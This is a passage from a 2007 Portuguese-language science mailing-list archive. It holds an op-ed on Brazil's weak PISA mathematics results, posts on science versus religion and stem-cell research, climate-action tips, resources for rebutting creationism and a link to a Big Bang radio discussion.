Nos anos 40, Jacomo Stávale, autor de livros de Matemática para o curso ginasial, era um nome conhecido no ensino básico brasileiro. Recentemente, explorando uma estante de livros antigos no sótão na velha casa da minha família em Jaraguá, no interior goiano, deparei com um pequeno tesouro: uma surrada edição de 1946 de seu Elementos de Matemática para a quarta série ginasial. Intrigado com a disfunção do ensino básico brasileiro, que põe nossos jovens, intelectualmente, entre os piores preparados do planeta, aquele volume, de aspecto austero e respeitável, forneceu pistas valiosas.

A baixa qualidade geral do ensino básico no Brasil é fato amplamente conhecido. Avaliações focadas no critério da quantidade e da qualidade do conhecimento adquirido pelo jovem, ao longo do ensino básico, revelam os contornos de uma profunda e silenciosa tragédia nacional.

Em particular, a pesquisa feita pela Organização para Cooperação e Desenvolvimento Econômico (OCDE), por meio do seu Programa para Avaliação Internacional de Estudantes (Pisa), é dramaticamente reveladora. Realizada a cada três anos, examina amostras de estudantes concluindo o fundamental, nas redes pública e privada, dos seus países membros ou associados. Na edição de 2003, focada em Matemática, a pesquisa envolveu 250 mil estudantes de 40 países. O simples fato de o Brasil ter ficado em último lugar, repetindo seu resultado de 2000, em Linguagem e Comunicação já deveria provocar uma convulsão nacional, envolvendo governos, escolas, associações de pais e mestres e grêmios estudantis. Mas não provocou, ao contrário do que ocorreu na orgulhosa Alemanha, humilhada com uma medíocre vigésima posição. E nós não apenas ficamos em último. O pior -- o trágico -- foi a forma contundente como conquistamos aquela posição.

O minucioso exame de Matemática do Pisa -- cuidadosamente calibrado no padrão internacional -- permitiu classificar cada aluno amostrado, segundo seu desempenho, em seis níveis de competência: do muito fraco e fraco ao muito bom e excelente, passando pelo razoável e bom. Ao final, com base em milhares de alunos examinados em cada país (cerca de 8 mil brasileiros), a distribuição de seus jovens entre os diferentes níveis pôde ser estimada com precisão. A comparação dos resultados por país os ordena segundo o nível de desenvolvimento matemático de seus jovens concluindo o fundamental.

Alguns resultados da pesquisa são espantosos. Na Coréia, China (Hong Kong e Macau) e Japão, um terço das crianças conquista, ao longo do fundamental, um padrão de conhecimento, discernimento e raciocínio matemáticos que as põem na categoria superior - dos níveis muito bom e excelente - relativamente ao padrão internacional de Matemática para o fundamental. Países como Finlândia, Suíça, República Checa e Austrália, entre outros, elevam mais que 20% de suas crianças àquela categoria de elite. No outro extremo da escala estão as crianças que, por falta de talento específico para o tema ou outra circunstância especial, apresentaram desempenho muito fraco. Mesmo na Finlândia, classificada em primeiro lugar pelo critério global, elas são quase 7%.

Já no Brasil, 37% dos estudantes foram confinados à categoria inferior -- dos níveis muito fraco ao fraco --, e apenas 9% alcançaram a categoria intermediária, dos níveis razoável e bom. Ninguém atingiu a categoria superior! Os restantes 54% não apresentaram desempenho suficiente para se qualificar à categoria inferior, sendo então classificados num nível especial -- abaixo do muito fraco -- dos analfabetos funcionais; daqueles que de Matemática, durante o fundamental, não aprenderam nada ou quase nada.

A ausência completa da categoria superior entre os 8 mil brasileiros amostrados leva à conclusão estatística de que sua taxa de ocorrência no universo de todos os estudantes brasileiros concluindo o fundamental é menor que 0,03%, portanto mais de mil vezes inferior à dos países líderes.

É fato inquestionável que nossas gerações de crianças vêm ao mundo com o mesmo perfil de talento, curiosidade e predisposição congênitos para o aprendizado que as de qualquer outro país -- traço comum do gênero humano. A nossa ausência na categoria superior, ao final do fundamental, prova algo mais significativo e profundo que o fato já bem conhecido da desconcertante disfunção de nossa escola fundamental. A única interpretação defensável para este resultado é que, mesmo nas melhores escolas, grande parte do programa internacional-padrão de Matemática para o ensino fundamental não é sequer apresentada aos alunos.

De alguma forma, a nossa escola fundamental, pública e privada, não promove o acesso de nossas crianças aos níveis mais elevados de proficiência escolar, ao mesmo tempo em que condena mais da metade delas ao analfabetismo funcional. Aparentemente por uma opção pedagógica tragicamente equivocada, nas escolas fundamentais nossas crianças estão recebendo, do núcleo duro da formação escolar básica -- Linguagem e Comunicação, Matemática e Conhecimentos Gerais --, uma dieta acadêmica rala que as está condenando à subnutrição intelectual crônica.

Aqui, o livro do prof. Stávale é revelador. Comparando-o com os textos correspondentes atuais, o mesmo se agiganta em abrangência, profundidade e elegância formal. Na minúscula Jaraguá dos anos 40, uma criança atravessou aquele texto no ginásio local, deixando, em cada página, as marcas de seu esforço e de suas conquistas. Mas, ao longo destes últimos 60 anos, nosso ensino básico buscou atalhos, simplificando o ensino, progressivamente abdicando de conteúdo, relevância e profundidade. Por outro lado, uma inspeção dos livros-textos atuais dos países líderes do Pisa demonstra que um aluno finlandês ou australiano estaria muito mais em casa numa sala de aula do ginásio da remota Jaraguá dos anos 40 que nas mais conceituadas escolas paulistanas de hoje.

Sebastião de Amorim, professor de Estatística da Unicamp, é diretor técnico da TecnoMetrica. E-mail: amorim@tecnometrica.com.br


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Reanto (de novo..:-( Re: Ciência & Religião.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/06/2007 11:53

Oráculo:

Admirador de nosso companheiro Renado me solidarizo integralmente com seu arrazoado: O Renato tem opiniões divergentes por motivos religiosos, creio.

sds.,
silvio.
----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, June 03, 2007 11:52 PM
Subject: [ciencialist] P/ Reanto (de novo..:-( Re: Ciência & Religião.


Olá Renato

A barbárie e a ignorância não dão tréguas, e a cada pronunciamento
racional, consistente e coerente, um ataque obscurantista se segue.

A academica, em seu excelente texto, não se "esqueceu" de nada, pelo
contrário, foi direto ao ponto e com precisão apontou o dano que os
preconceitos e superstições religiosas, de pessoas que se sentem
divinas e inspiradas por divindades imaginárias, causam a toda a
sociedade.

Por exemplo, sua insistência, Renato, cega e obcecada em defender que
um embrião, um agrupamento de células fracamente ligadas, tem o mesmo
status que um bebê recém nascido, uma criança com distrofia muscular,
um adulto plenamente desenvolvido, uma mulher em gestação.

E a pretensão e arrogância de se colocar como "portador da verdade
imutável" e todos os que pensam diferentes como "transgressores,
corruptos e agressores criminosos".

Na verdade, as pessoas que defendem o uso de embriões e de células
tronco é que estão verdadeiramente preocupadas com os seres humanos,
com a dor alheia, com as sociedades, e são as que tem a intenção de
sempre melhorar a qualidade de vida e minorar o sofrimento do maior
número possível de pessoas.

Mas tem de lutar contra superstições ancestrais, religiosos
extremados, tolices absurdas e preconceitos arraigados.

Um embrião descartado em fertilizações "in vitro" (que a religião
também quer impedir de ser praticada) não pode ser usado para mais
nada, a não ser o lixo. Mas suas células tronco podem ser usadas para
compreender melhor o funcionamento de nossos organismos, organismos
animais, e minorar a dor alheia. Ainda que fossem seres humanos, o que
não são, não vejo final mais nobre que esse para uma existência, e
nada em mim recusaria ser utilizado dessa forma, se eu mesmo fosse um
embrião nunca nascido.

Só o egoísmo tolo de religiosos, que se pretendem divinos filhos de
uma divindade maluca poderia se recusar a ajudar, na absoluta
impossibilidade de fazer qualquer outra coisa, e preferir ir para o
lixo a isso!

Renato: " Usar o termo preconceito, apenas para menosprezar os
conceitos dos meus opositores, é tentar enganar os menos avisados."

Tolice. Preconceito é fazer ilações sem saber do que se fala,
prejulgando com base em superstições. Se meu opositor faz isso, é
preconceituoso, nada mais nada menos. Religiões são preconceituosas
por natureza, não podem evitar. Seu Papa já disse em alto e bom som, a
única religião que salva, a única forma de evitar o inferno, é ser
católico. Isso é preconceito em estado puro.

Eu, pessoalmente, menosprezo quem defende preconceitos e superstições,
em detrimento de ajuda a quem precisa e do conhecimento científico que
pode ajudar a todos os seres humanos.

Renato: "O ocorrido com Galileu resume-se a briga de poder político e
não a uma questão de ciência, visto que Copérnico já publicara livro
sobre o assunto cerca de 15 anos antes, dedicado ao Papa, seu amigo e
padrinho, maior incentivador de seus inovadores estudos astronômicos."

Sei, sei, e Giordano Bruno foi para a fogueira porque quis, para se
punir de seus pecados, não? E a inquisição foi um santo movimento para
salvar as almas das pessoas, não? Que distorção mais absurda da
história, só poderia sair da mente de religiosos, que tem na distorção
da história a única forma de escapar das crueldades e erros que
permeiam todo seu passado como instituição!

Se o vaticano se preocupou com astronomia, foi justamente para evitar
cometer as burrices que cometeu com Galileu, e evitar ser pego de
calças curtas de novo, e passar pelo vexame de proibir a divulgação de
um conhecimento que todos podiam ver que era real e correto.

Parecem que não aprendem, e tentam repetir tudo de novo com as células
tronco embrionárias. E vão falhar, de novo, e de novo, e de novo,
vexame atras de vexame, sem aprender, sem mudar, sem crescer e sem se
tornar adultos, abandonando amigos imaginários e papais do céu.

Renato: "São aos mais frágeis que a Justiça protege. No caso da
célula-tronco não é diferente. "

É totalmente diferente! Células tronco, embriões, mórulas, óvulos
fecundados NÃO são seres humanos, não são passíveis de proteção legal
como um bebê ou adulto.

Se acha que não, responda a eterna pergunta (da qual tem fugido como o
diabo da cruz, ou o Papa da razão e da lógica), entre salvar um único
bebê recém nascido e 200 (ou mil, o que quiser) embriões em uma placa
de petri, o que escolheria, Renato? Poderia viver depois de deixar um
bebê morrer em um incêndio, enquanto salvava 200 mórulas em uma placa
de petri???

Não sei se é casado, Renato, mas se for, e se fizer sexo com sua
esposa (vai saber), deve saber também que em cada 10 fecundações, 8
não vingarão e sairão com a menstruação. Você sofre, chora e lamenta
cada um desses 8 óvulos que não se fixa no útero de sua esposa, Renato?

Se não o faz (e sabemos que não o faz), pode explicar porque não sofre
pela perda de "8 vidas humanas", mas pretende impedir as pesquisas que
permitirão salvar vidas, curar doenças, ou no mínimo nos fazer
entender melhor nossa formação, nosso desenvolvimento, nossa origem e
funcionamento?

Talvez seja isso que o assuste, que assuste o seu Papa e sua religião,
conhecimento científico sobre óvulos, mórulas, gestação, genética,
desenvolvimento, etc, é conhecimento que nos leva cada vez mais a
entender nossa origem animal, material, concreta, não sobrenatural e
não transcendente.

E isso deve assustar um bocado a quem precisa se manter preso a uma
superstição ancestral para obter conforto e diminuir o medo da vida.

Isso é cansativo, ainda mais em uma lista que discute ciência e
conhecimento científico..:-( Onde todos compreendem que um óvulo
fecundado, que pode vir a ser, ou não, um ser humano, não é o mesmo
que um ser humano pleno, completo e real.

Homero






------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] RAÍZES DO ANTICIENTIFICISMO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/06/2007 11:56

AGÊNCIA FAPESP, 21-05-2007

RAÍZES DA RESISTÊNCIA CIENTÍFICA

"[O]s pesquisadores do Departamento de Psicologia da Universidade de
Yale [Paul Bloom e Deena Skolnick Weisberg], nos Estados Unidos,
descrevem [em um artigo publicado na revista Science] a origem da
recusa em aceitar noções científicas. 'Essa resistência tem
implicações sociais importantes, uma vez que um público
cientificamente ignorante está despreparado para avaliar políticas a
respeito de temas como aquecimento global, vacinação, organismos
geneticamente modificados, pesquisa com células-tronco e clonagem.'

Segundo os pesquisadores, a resistência tem origem especialmente em
concepções e inclinações presentes na infância e que continuariam por
toda a vida adulta. Adultos resistiriam a fatos científicos por não os
encararem como intuitivos ou naturais, comportamento que derivaria de
suas experiências quando crianças.

'A principal fonte de resistência está relacionada ao conhecimento das
crianças antes de serem expostas à ciência. O problema em ensinar
ciência a crianças não é tanto o que o estudante não tem, mas o que
ele tem, ou seja, uma estrutura conceitual alternativa para
compreender os fenômenos cobertos pelas teorias que tentamos ensinar',
disseram.

[...]

O artigo Childhood Origins of Adult Resistance to Science, de Paul
Bloom e Deena Weisberg, pode ser lido por assinantes da Science em
www.sciencemag.org. "

http://www.agencia.fapesp.br/boletim_dentro.php?id=7166
-------------------
[]s,

Roberto Takata



SUBJECT: Petição contra o aquecimento global
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 04/06/2007 13:54

---
Nós queremos fazer a maior petição contra o aquecimento global do
mundo para mostrar que nunca antes houve um chamado tão forte e
garantirmos que o G8+5 produza resultados concretos. O tempo está se
esgotando portanto envie esse link para amigos e familiares:
http://www.avaaz.org/po/climate_action_g8


SUBJECT: Re: [ciencialist] Petição contra o aquecimento global
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/06/2007 14:49

Caro Esteban,

Como você sabe que o tempo está se esgotando? Quanto tempo ainda temos? E se
a hipótese do aquecimento global ser causado pelos raios cósmicos estiver
certa, quem vai pagar a conta?

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Esteban Moreno" <estebanlmoreno@gmail.com>
Sent: Monday, June 04, 2007 1:54 PM
Subject: [ciencialist] Petição contra o aquecimento global


---
Nós queremos fazer a maior petição contra o aquecimento global do
mundo para mostrar que nunca antes houve um chamado tão forte e
garantirmos que o G8+5 produza resultados concretos. O tempo está se
esgotando portanto envie esse link para amigos e familiares:
http://www.avaaz.org/po/climate_action_g8


##### ##### #####

Página de apoio
http://www.ciencialist.com


##### ##### ##### #####
Links do Yahoo! Grupos





SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/06/2007 15:01

Protestar, ok.

Agora como *agir* contra o aquecimento global.

- Consuma menos energia. Muito da energia pode ser economizada sem
reduzir o nível de conforto:
*apagar a luz de cômodos em que não está ninguém;
*não deixar aparelhos elétricos funcionando sem necessidade - ajustar
o timer da TV para apagar depois de um tempo, se vc costuma dormir no
meio, usar a máquina de lavar e de secar (roupas, louças, etc) no
máximo da capacidade de fábrica (não subutilizar nem sobrecarregar);
*usar lâmpadas fluorescentes (as compactas não exigem instalação
especial, adaptando-se ao soquete de rosca das lâmpadas
incandescentes) - são mais caras, mas representam uma economia no
bolso ao final (o ideal mm são as lâmpadas de LED de alto desempenho,
mas ainda são muito caras - embora tb compensem ao final);
*não abrir a geladeira sem necessidade e ajustar o termostato de
acordo com a época (no inverno ele pode ser regulado para um menor
consumo);
*ajustar a temperatura do chuveiro de acordo com a do ambiente (no
verão não é preciso tomar banho bem quente);
[A matriz energética residencial brasileira ainda é em grande medida
hidrelétrica, mas uma menor pressão de consumo significa uma menor
necessidade de uso e ampliação das instalações termelétricas. Além
disso, novas hidrelétricas significam redução de áreas florestais.]

-Consuma menos combustíveis fósseis.
*Dê preferência ao transporte coletivo;
*Compre carros multicombustíveis;

- Consuma menos carne, especialmente de gado.
*As novas áreas de pastagens avançam sobre florestas (diretamente ou
empurrando a fronteira de soja);
*Criação de gado gera quantidades significativas de metano;
*Carvão vegetal não-certificado derruba áreas de caatinga e outras
formações vegetais.
(Naturalmente não é pra reduzir abaixo do nível saudável.]

- Colabore com projetos de reflorestamento.
*Por quatro reais, eu planto uma muda de uma árvore nativa. (Mas há
projetos q saem mais em conta.)

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> Nós queremos fazer a maior petição contra o aquecimento global do
> mundo para mostrar que nunca antes houve um chamado tão forte e
> garantirmos que o G8+5 produza resultados concretos. O tempo está se
> esgotando portanto envie esse link para amigos e familiares:
> http://www.avaaz.org/po/climate_action_g8




SUBJECT: RES: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/06/2007 16:12

Álvaro,

As “observações” sobre a palestra, por si só, são um tratado lúcido,
completo e esclarecedor, sobre temas tão controversos e difícies,
expressas numa linguagem de gente grande, simples e objetiva. Lamentei
quando chegou ao final.

Volto a recomendar fortemente o blog do Álvaro. Reafirmo minha avaliação
anterior, a respeito.

Farei o seguinte: quando não gostar de alguém, será minha feroz vingança
não recomendar o blog; quando gostar, recomendarei fortemente.

Está cada dia melhor.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alvaro Augusto (L)
Enviada em: quarta-feira, 6 de junho de 2007 13:26
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba



Minhas observações (mais extensas do que o bom senso recomendaria) sobre a
palestra do Eduardo Lütz estão disponíveis em:
http://alvaroaugusto.blogspot.com/2007/06/sobre-palestra-de-eduardo-ltz-cinc
ia-f.html

[ ]s

Alvaro Augusto

----- Original Message -----
From: "André L F S Bacci" <andrebacci.listas@gmail.com
<mailto:andrebacci.listas%40gmail.com> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Monday, May 28, 2007 5:08 PM
Subject: Re: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba

> Em 26/05/07, Alvaro Augusto (L) <alvaro@lunabay.com.br
<mailto:alvaro%40lunabay.com.br> > escreveu:
> > Preciso de ajuda para rebater os argumentos dele, caso haja espaço para
> > perguntas. Em tempo, a palestra é promovida pelo Sindicato dos
> > Professores
> > da UTFPR, não pela reitoria ou por algum departamento, e até o momento
> > não
> > sei se conta com o apoio institucional. Espero que não.

Mas se seu resumo é correto, ele está "só reclamando" e não colocando
nada no lugar. Mas na pagina dele, não tal ligação sobre a teoria da
evolução ser religião, mas mais a questão a reclamação reducionista.

Bem, ao útil. Hun... O pessoal do The Panda's Thumb tem enorme
experiência em debates do tipo, tanto ao vivo como na net,
principalmente contra o pessoal mais falido Design Inteligente. Vale a
pena investir um bom tempo nos posts de lá, e de maneira instrutiva,
nos comentários.

E se o rapaz ai realmente for pela linha de "evolução é religião",
recomendo fortemente a leitura dessa resposta em particular.
http://www.pandasthumb.org/archives/2007/05/is_creationism.html#comment-1792
77

Na mesma linha, um antigo comentarista chamado Lenny Frank (ou Flank)
tinha também uma página no geocites com muito material a respeito. Não
consigo localizar atrás do proxy que estou (blogs e geocities, no
way), mas não deve ser impossível de encontrar.

Por último, mas de nenhuma maneira menos importante, os belíssimos
materiais do talkreason.org, em especial o imprecindível Index to
Creationist Claims

http://www.talkorigins.org/indexcc/

Em especial
http://www.talkorigins.org/indexcc/list.html#CA100-CA499

No detalhe do especial
http://www.talkorigins.org/indexcc/CA/CA220.html
http://www.talkorigins.org/indexcc/CA/CA612.html
e
http://www.talkorigins.org/indexcc/CA/CA610.html

Recomendo levar impresso, e se possível, traduzir.

André





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Esqueça o Big Bang
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/06/2007 17:08

Olá

Esta é para quem é fluente o suficiente em inglês para ouvir e
entender uma entrevista ou palestra reunindo dois físicos e um
matemático (se eu entendi bem):

http://www.onpointradio.org/shows/2007/05/20070531_b_main.asp

Forget the Big Bang Theory
Aired: Thursday, May 31, 2007 11-12PM ET
By host Tom Ashbrook:

We all know the story, delivered in grade school textbooks across the
country, of how the universe began. The Big Bang. Fourteen billion
years ago. Space and time and everything, exploding into being in a
flash, and still exploding as celestial bodies race apart across the
cosmos.

Well, maybe so. But the Big Bang theory has taken its lumps in recent
years.

Now, renegade physicists are making a new case. That it didn't all
start in an instant. That there is no beginning, and no end. And those
are fighting words in the halls of science.

This hour On Point: the big rumble over the Big Bang.

Guests:

· Neil Turok, professor of mathematical physics at Cambridge
University. He is the co-author of the new book, "Endless Universe:
Beyond the Big Bang."

· Alan Guth, professor of physics at the Massachusetts Institute of
Technology. He is the author of "The Inflationary Universe: The Quest
for a New Theory of Cosmic Origins."

· Janna Levin, professor of physics and astronomy at Barnard College.
She is the author of "How the Universe Got Its Spots: Diary of a
Finite Time in a Finite Space."

-o=O=o-

É só a chamada, mas aí vai a tradução de pé-quebrado de minha verve (a
taxa de erro é de aproximadamente 15%, segundo estimativas também da
minha verve).

"Todos conhecemos a história, contada em livros-texto de faculdade em
todo o país, de como começou o Universo. O Big Bang. Catorze bilhões
de anos atrás. Espaço e tempo e tudo, explodindo para a existência e
um instante, e ainda explodindo enquanto corpos celestiais se afastam
correndo pelo cosmos.

Bem, talvez. Mas a teoria do Big Bang teve seus momentos de expansão
nos anos recentes.

Agora, físicos renegados estão criando uma nova teoria. De que tudo
não iniciou em um instante. Que não há início, e nem fim. E estas são
palavras de luta nas salas da ciência.

Esta hora On Poin: o grande barulho sobre o Big Bang.

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] Re: Petição contra o aquecimento global
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/06/2007 17:14

Takata,

Já vi que você está querendo acabar com meu negócio... Reduzir o consumo de
energia? Tá maluco?

[ ]s

Alvaro Augusto



----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, June 04, 2007 3:01 PM
Subject: [ciencialist] Re: Petição contra o aquecimento global


Protestar, ok.

Agora como *agir* contra o aquecimento global.

- Consuma menos energia. Muito da energia pode ser economizada sem
reduzir o nível de conforto:
*apagar a luz de cômodos em que não está ninguém;
*não deixar aparelhos elétricos funcionando sem necessidade - ajustar
o timer da TV para apagar depois de um tempo, se vc costuma dormir no
meio, usar a máquina de lavar e de secar (roupas, louças, etc) no
máximo da capacidade de fábrica (não subutilizar nem sobrecarregar);
*usar lâmpadas fluorescentes (as compactas não exigem instalação
especial, adaptando-se ao soquete de rosca das lâmpadas
incandescentes) - são mais caras, mas representam uma economia no
bolso ao final (o ideal mm são as lâmpadas de LED de alto desempenho,
mas ainda são muito caras - embora tb compensem ao final);
*não abrir a geladeira sem necessidade e ajustar o termostato de
acordo com a época (no inverno ele pode ser regulado para um menor
consumo);
*ajustar a temperatura do chuveiro de acordo com a do ambiente (no
verão não é preciso tomar banho bem quente);
[A matriz energética residencial brasileira ainda é em grande medida
hidrelétrica, mas uma menor pressão de consumo significa uma menor
necessidade de uso e ampliação das instalações termelétricas. Além
disso, novas hidrelétricas significam redução de áreas florestais.]

-Consuma menos combustíveis fósseis.
*Dê preferência ao transporte coletivo;
*Compre carros multicombustíveis;

- Consuma menos carne, especialmente de gado.
*As novas áreas de pastagens avançam sobre florestas (diretamente ou
empurrando a fronteira de soja);
*Criação de gado gera quantidades significativas de metano;
*Carvão vegetal não-certificado derruba áreas de caatinga e outras
formações vegetais.
(Naturalmente não é pra reduzir abaixo do nível saudável.]

- Colabore com projetos de reflorestamento.
*Por quatro reais, eu planto uma muda de uma árvore nativa. (Mas há
projetos q saem mais em conta.)

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> Nós queremos fazer a maior petição contra o aquecimento global do
> mundo para mostrar que nunca antes houve um chamado tão forte e
> garantirmos que o G8+5 produza resultados concretos. O tempo está se
> esgotando portanto envie esse link para amigos e familiares:
> http://www.avaaz.org/po/climate_action_g8




SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/06/2007 18:35

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Já vi que você está querendo acabar com meu negócio... Reduzir o
> consumo de energia? Tá maluco?

Os inventores de moto-perpétuos irão achar q vc é o cara por trás da
conspiração... rere.

E isso porq. falei apenas dos cortes leves de energia - sem mudança de
hábitos.

Algumas medidas q incluem mudanças de hábito:
- diminuir o tempo de chuveiro (uns 5 minutos no máximo) - economia de
água, energia (elétrica ou gás) e diminuição de efluentes;
- usar aquecimento solar (há sistemas mais complexos e mais caros, mas
há tb soluções caseiras interessantes:
http://www.tvcultura.com.br/reportereco/materia.asp?materiaid=104);
- maximizar o uso de iluminação natural: pintar as paredes (em
particular o teto) com cores claras e reflexivas;
- substituir aparelhos elétricos por sistemas manuais: facas,
barbeadores, máquinas de lavar, abridores de lata, processadores de
alimento, etc.
- usar as escadas em lugar do elevador;
- substituir o uso do ar-condicionado por ventilação natural e panos
úmidos;
- revisar a fiação elétrica;
- instalar sistema de isolamento térmico;
- usar casacos e cobertores em lugar de aquecedores elétricos;

E outros. Aí sim deixaremos o nosso colega Álvaro desempregado.

[]s,

Roberto Takata



SUBJECT: A resposta: E= 2,75536 X10^(-11) Joules
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/06/2007 18:52

Takata,

Confere ai.


sinceramente
ferrari

EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664

MEU PORTAL:
http://marceloferrari.blogspot.com

Para receber meus textos inéditos (de literatura), envie um email para:
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SUBJECT: Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/06/2007 19:09

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Confere ai.

Cadê a resolução?

[]s,

Roberto Takata



SUBJECT: Re: Ciência & Religião.
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/06/2007 19:14

Como pode uma pessoa sozinha escrever tanta besteira junta em uma
mensagem só? Eu sou cético demais para crer que essa mensagem tem um
único autor, o JR. Acho que nem mesmo ele e seu avião que não voa
seria capaz de numa única mensagem rasgar toda a história da ciência
como se fosse um assunto sobre o qual ninguém soubesse.

Cruzes! Queima capeta!

Deveria ter lei contra esse tipo de crime lesa-história-da-humanidade.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> "A mentalidade aberta e desprovida de *preconceitos*, como nos ensinou
> Galileu, é indispensável para a geração do verdadeiro conhecimento."
(Belita
> Koiller)
> ...................................
> Esqueceu a acadêmica Belita Koiller, que a humanidade desenvolve
conceitos e
> mantém preconceitos desde sempre. Tudo o que existe hoje em ciência e
> cultura já foi pensado, discutido e experimentado. Usar o termo
preconceito,
> apenas para menosprezar os conceitos dos meus opositores, é tentar
enganar
> os menos avisados. Ela esqueceu que os conceitos de Justiça, Respeito,
> Bondade, Vida, Honra, Existência, Paz, Humanidade, Honestidade, etc.
vêm
> sendo construídos a duras penas durante milênios. E sempre há aqueles
> imaturos descontentes que desejam fazer o que lhes passar pela
cabeça, sem
> considerar as conseqüência.
>
> O ocorrido com Galileu resume-se a briga de poder político e não a uma
> questão de ciência, visto que Copérnico já publicara livro sobre o
assunto
> cerca de 15 anos antes, dedicado ao Papa, seu amigo e padrinho, maior
> incentivador de seus inovadores estudos astronômicos. As leis, a
moral, o
> direito e a justiça são preconceitos testados e estabelecidos ao longo
> desses milênios, sempre em confronto com aqueles cujo os desejos
imediatos
> conflitam com esses conceitos consolidados.
>
> Observar que os que denunciam preconceitos retrógrados são aqueles
que estão
> bem, são articulados e têm poder. O cidadão que não tem essas vantagens
> político-social-econômicas preza muito esses preconceitos que lhe
garante um
> mínimo de participação, justiça, direito e cidadania. São aos mais
frágeis
> que a Justiça protege. No caso da célula-tronco não é diferente. Com a
> desculpa de utilizar embriões congelados que serão descartados no
lixo(?!)
> desejam a liberação geral para as pesquisas com células-tronco
embrionárias.
> Quando já se têm firmado cerca de 81 procedimentos terapêuticos
efetivos e
> seguros, realizados com células-tronco obtidas do próprio paciente
ou de
> cordões umbilicais.
>
> Já repararam como os transgressores, corruptores, agressores e
criminosos
> não têm preconceitos, nem dão a mínima às leis estabelecidas! Quando os
> donos do poder não pesam suas decisões é toda a humanidade que paga.
>
> []s
>
> José Renato
> .....................................
>
> From: "Silvio Cordeiro" <scordeiroes@...>
> To: <ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
> Cc: <pedraderoseta@yahoogrupos.com.br>
> Sent: Saturday, June 02, 2007 11:41 AM
> Subject: [Spam] [ciencialist] Ciência & Religião.
>
>
> Belita Koiller: Convicções religiosas ameaçam a continuidade de
> pesquisas científicas extremamente relevantes
>
> Ela saudou os novos acadêmicos no ato de posse. E disse, entre
outras:
> "Seria enorme desperdício para a humanidade abrir mão de metade dos
talentos
> potenciais para a ciência, caso o trabalho científico continuasse sendo
> visto como uma atividade predominantemente masculina"
>
> Leia a integra do discurso da acadêmica Belita Koiller:
>
> "Cabe-me esta noite a grande honra de saudar os novos
acadêmicos. Em
> nome da ABC gostaria de expressar as nossas boas vindas aos que hoje
tomam
> posse, e agradecer a todos pelo enriquecimento e prestígio que nos
trazem
> com sua competência científica e experiência de vida.
>
> Creio ser desnecessário explicar aos novos colegas o que é a
ABC. A
> programação desta Reunião Magna anual ilustra bem sua atuação, sua
> relevância, sua presença nacional e sua inserção na comunidade
científica
> internacional:
>
> 1) O Simpósio Jovens Cientistas, com palestras dos nossos
prováveis
> futuros colegas acadêmicos, demonstra a atenção da ABC com o futuro, a
> renovação e a continuidade do trabalho aqui desenvolvido;
>
> 2) Simpósios sobre Mudanças Climáticas, Amazônia e Ensino de
Ciências
> e Matemática, são representativos de alguns dos graves problemas
nacionais
> que a ABC debate, valendo-se de seus membros especialistas. Para
lidar com
> esses problemas, avalia alternativas cientificamente viáveis, e
sobre eles
> assessora o governo e informa a sociedade;
>
> 3) A apresentação pelo ministro Sergio Rezende, nosso colega
> acadêmico, do Plano Plurianual de C&T, para discussão com a comunidade
> acadêmica, exemplifica o prestígio e a responsabilidade da ABC junto ao
> governo;
>
> 4) Conferências Magnas proferidas pelos profs. Yoccoz e Rao,
> destacados cientistas internacionais, bem como a reunião do Conselho
> Científico Brasil-Índia, ilustram a abrangente inserção
internacional da
> ABC.
>
> Aproveito a menção à inserção internacional da ABC para
dirigir uma
> breve saudação aos membros estrangeiros que tomaram posse hoje: I am
deeply
> honored to represent the Brazilian Academy of Sciences in saluting and
> welcoming the distinguished Foreign Scientists that join the Brazilian
> Academy of Sciences tonight, and in thanking you for bringing your
